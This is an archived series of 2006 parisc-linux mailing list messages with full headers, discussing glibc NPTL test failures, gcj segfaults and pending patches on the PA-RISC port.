make[2]: *** [libc-tls-nptl/rt/tst-cputimer3.out] Error 1
make[1]: *** [rt/tests] Error 2

- Who needs timers...

make[2]: *** [libc-tls-nptl/elf/tst-pie1.out] Error 139
make[2]: *** [libc-tls-nptl/elf/tst-leaks1-mem] Error 1
make[2]: *** [libc-tls-nptl/elf/order.out] Error 1
make[2]: *** [libc-tls-nptl/elf/nodelete2.out] Error 1
make[2]: *** [libc-tls-nptl/elf/tst-align2.out] Error 1
make[2]: *** [libc-tls-nptl/elf/order2.out] Error 1
make[2]: *** [libc-tls-nptl/elf/tst-audit2.out] Error 139
make[2]: *** [libc-tls-nptl/elf/tst-addr1.out] Error 1
make[2]: *** [libc-tls-nptl/elf/check-textrel.out] Error 1
make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2

- These elf ones are all bad news, and for a fact I know I will have
to track down DSO initializer and finalizer bugs.

Huzah.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NPTL: The Bad News.
Date: Thu, 7 Sep 2006 08:54:28 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20060907155428.GA5447@titanium.v3.ca>
References: <119aab440609061723r168cc628x3bf2dfb18bac1641@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624183 21003 80.91.229.3 (22 Nov 2014 02:43:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:03 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Sep 2006 15:54:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 07 Sep 2006 17:54:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5162A7D7DD;
	Thu,  7 Sep 2006 09:54:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05976-08; Thu, 7 Sep 2006 09:54:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 594897D7DE;
	Thu,  7 Sep 2006 09:54:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C62BB7D7D2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Sep 2006 09:54:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05973-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Sep 2006 09:54:29 -0600 (MDT)
Original-Received: from titanium.v3.ca (titanium.v3.ca [69.90.100.5])
	by free.linux.hp.com (Postfix) with ESMTP id 7223A7D7C8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Sep 2006 09:54:29 -0600 (MDT)
Original-Received: from titanium.v3.ca (localhost [127.0.0.1])
	by titanium.v3.ca (8.13.2/8.13.2/Debian-1) with ESMTP id k87FsSun005888
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Thu, 7 Sep 2006 08:54:28 -0700
Original-Received: (from jbailey@localhost)
	by titanium.v3.ca (8.13.2/8.13.2/Submit) id k87FsSlt005887;
	Thu, 7 Sep 2006 08:54:28 -0700
X-Authentication-Warning: titanium.v3.ca: jbailey set sender to
	jbailey@raspberryginger.com using -f
Content-Disposition: inline
In-Reply-To: <119aab440609061723r168cc628x3bf2dfb18bac1641@mail.gmail.com>
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /ng2dME9YmYSfenCanc3hA1KWkZTQVTn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23988

On Wed, Sep 06, 2006 at 08:23:18PM -0400, Carlos O'Donell wrote:
> The bad news is that I didn't work much on my thesis this long weekend.
> The good news is that I fixed many serious flaws related to:
> 
> 1. Stack direction, stack guards, and stack permissions.
> 2. Low level locking primitives returning the wrong values.
> 3. EAGAIN != EWOULDBLOCK snafu's
> 4. Compiler bugs.
> 5. Makefile bugs.
> 
> My current set of libc + tls + nptl failures is now down to:

Nice!  I don't see these in CVS yet.  Is there a branch or something
you're working on?

> make[2]: [libc-tls-nptl/posix/annexc.out] Error 1 (ignored)

Why is this under the "not cool" set?  This is there for every arch.

> make[2]: *** [libc-tls-nptl/elf/tst-audit2.out] Error 139

Aside from the segfault, is the audit interface even written?

Tks,
Jeff Bailey

-- 
I do not agree with a word you say, but I will defend to the death your
right to say it. 
 - Voltaire
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gij/gcj-dbtool segfaults
Date: Thu, 7 Sep 2006 22:51:17 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <17664.34373.179880.934087@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624183 21008 80.91.229.3 (22 Nov 2014 02:43:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Sep 2006 20:51:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 07 Sep 2006 22:51:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A3D237D803;
	Thu,  7 Sep 2006 14:51:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09258-05; Thu, 7 Sep 2006 14:51:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B5F07D7EE;
	Thu,  7 Sep 2006 14:51:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C6B77D7E9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Sep 2006 14:51:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09433-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Sep 2006 14:51:20 -0600 (MDT)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id 7AED47D7DD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Sep 2006 14:51:19 -0600 (MDT)
Original-Received: from mailhost.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id WAA16529
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Sep 2006 22:51:17 +0200 (MEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id AD953F269
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Sep 2006 22:51:17 +0200 (MEST)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (mail.cs.tu-berlin.de [127.0.0.1]) (amavisd-new,
	port 10224)
	with ESMTP id 15962-13 for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Sep 2006 22:51:17 +0200 (MEST) 16637
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Sep 2006 22:51:17 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.13.6+Sun/8.12.8/Submit) id k87KpHEA026477; 
	Thu, 7 Sep 2006 22:51:17 +0200 (MEST)
X-Mailer: VM 7.17 under 21.4 (patch 17) "Jumbo Shrimp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GvNhIZtva0AoXL6aejEzpdk3Njh6dI6s
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23989

at least no more bus errors; that started after the backport of
classpath-0.92 and gcj-4.2 to the 4.1 branch; I built a current 4.2
compiler yesterday, but found the same behaviour on the trunk.  It's
reproducible by installing gij-4.2 (or by running gcj-dbtool-4.2).
The packages currently are in the NEW queue and should show up in
experimental.  In the meantime you can get them from

  deb http://people.debian.org/~doko/gcc-4.2/ ./

The libgcj8-dbg does have the detached debugging symbols.

  Matthias
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gij/gcj-dbtool segfaults
Date: Thu, 7 Sep 2006 18:51:20 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200609072251.k87MpKtq025883@hiauly1.hia.nrc.ca>
References: <17664.34373.179880.934087@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624184 21012 80.91.229.3 (22 Nov 2014 02:43:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Sep 2006 22:51:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 08 Sep 2006 00:51:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E094D7D87B;
	Thu,  7 Sep 2006 16:51:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10598-10; Thu, 7 Sep 2006 16:51:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E871E7D805;
	Thu,  7 Sep 2006 16:51:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8245A7D800
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Sep 2006 16:51:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10790-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Sep 2006 16:51:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3B60F7D7EE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Sep 2006 16:51:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k87MpLMG025884;
	Thu, 7 Sep 2006 18:51:21 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k87MpKtq025883;
	Thu, 7 Sep 2006 18:51:20 -0400 (EDT)
In-Reply-To: <17664.34373.179880.934087@gargle.gargle.HOWL> from "Matthias
	Klose" at Sep 7, 2006 10:51:17 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GsZoCNRvbHIyX63NNjQ0WgkqJihyapCN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23990

> at least no more bus errors; that started after the backport of
> classpath-0.92 and gcj-4.2 to the 4.1 branch; I built a current 4.2
> compiler yesterday, but found the same behaviour on the trunk.  It's
> reproducible by installing gij-4.2 (or by running gcj-dbtool-4.2).

FWIW, this isn't happening in my builds on either linux or hpux.  I
did have this problem a couple of months ago in porting to hpux but
the problem went away after HP fixed a linker bug.  Make sure the
shared libraries being used by gcj-dbtool are exactly as expected.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NPTL: The Bad News.
Date: Thu, 7 Sep 2006 16:13:49 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20060907231349.GA11955@titanium.v3.ca>
References: <119aab440609061723r168cc628x3bf2dfb18bac1641@mail.gmail.com>
	<20060907155428.GA5447@titanium.v3.ca>
	<119aab440609071009j12dc7daew199692707f1885d2@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624184 21015 80.91.229.3 (22 Nov 2014 02:43:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Sep 2006 23:14:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 08 Sep 2006 01:14:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 937BF7D87B;
	Thu,  7 Sep 2006 17:14:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11538-07; Thu, 7 Sep 2006 17:14:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A15F37D87D;
	Thu,  7 Sep 2006 17:14:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB2347D855
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Sep 2006 17:13:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11502-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Sep 2006 17:13:54 -0600 (MDT)
Original-Received: from titanium.v3.ca (titanium.v3.ca [69.90.100.5])
	by free.linux.hp.com (Postfix) with ESMTP id 75A3B7D7EE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Sep 2006 17:13:54 -0600 (MDT)
Original-Received: from titanium.v3.ca (localhost [127.0.0.1])
	by titanium.v3.ca (8.13.2/8.13.2/Debian-1) with ESMTP id k87NDrZJ012131
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Thu, 7 Sep 2006 16:13:53 -0700
Original-Received: (from jbailey@localhost)
	by titanium.v3.ca (8.13.2/8.13.2/Submit) id k87NDnS3012130;
	Thu, 7 Sep 2006 16:13:49 -0700
X-Authentication-Warning: titanium.v3.ca: jbailey set sender to
	jbailey@raspberryginger.com using -f
Content-Disposition: inline
In-Reply-To: <119aab440609071009j12dc7daew199692707f1885d2@mail.gmail.com>
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hZU5cMhDeWU7ULeUfHVzvmo5U3U4N0/W
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23991

On Thu, Sep 07, 2006 at 01:09:34PM -0400, Carlos O'Donell wrote:

> I didn't check it into CVS last night, but it is all there now.

When updating my tree, I noticed that this is still outstanding:
http://sourceware.org/ml/libc-ports/2006-07/msg00009.html

Without this one, glibc doesn't build with recent kernel headers.

Tks,
Jeff Bailey
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt #5
Date: Fri, 8 Sep 2006 12:49:33 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20060908184933.GA24597@colo.lackof.org>
References: <119aab440608292148s4ee3ffb0xaac62a74c0f1403b@mail.gmail.com>
	<20060831065327.GG3999@colo.lackof.org>
	<20060901224825.GD4041@colo.lackof.org>
	<20060906062900.GC3448@colo.lackof.org>
	<44FF2A69.5040102@scarlet.be>
	<20060907001944.GA4407@colo.lackof.org>
	<450188D8.5000501@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624184 21018 80.91.229.3 (22 Nov 2014 02:43:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:04 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Sep 2006 18:49:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 08 Sep 2006 20:49:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 35CA17D815;
	Fri,  8 Sep 2006 12:49:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04635-06; Fri, 8 Sep 2006 12:49:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B54F7D816;
	Fri,  8 Sep 2006 12:49:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88A2C7D80C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Sep 2006 12:49:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04511-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 8 Sep 2006 12:49:35 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 4B6AA7D7C4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Sep 2006 12:49:35 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9382E3982D4;
	Fri,  8 Sep 2006 12:49:34 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23798-09; Fri, 8 Sep 2006 12:49:33 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 470813981BA; Fri,  8 Sep 2006 12:49:33 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <450188D8.5000501@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cIk4cKBmeWU7ULeUfHVzPss5U3U4N0+o
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
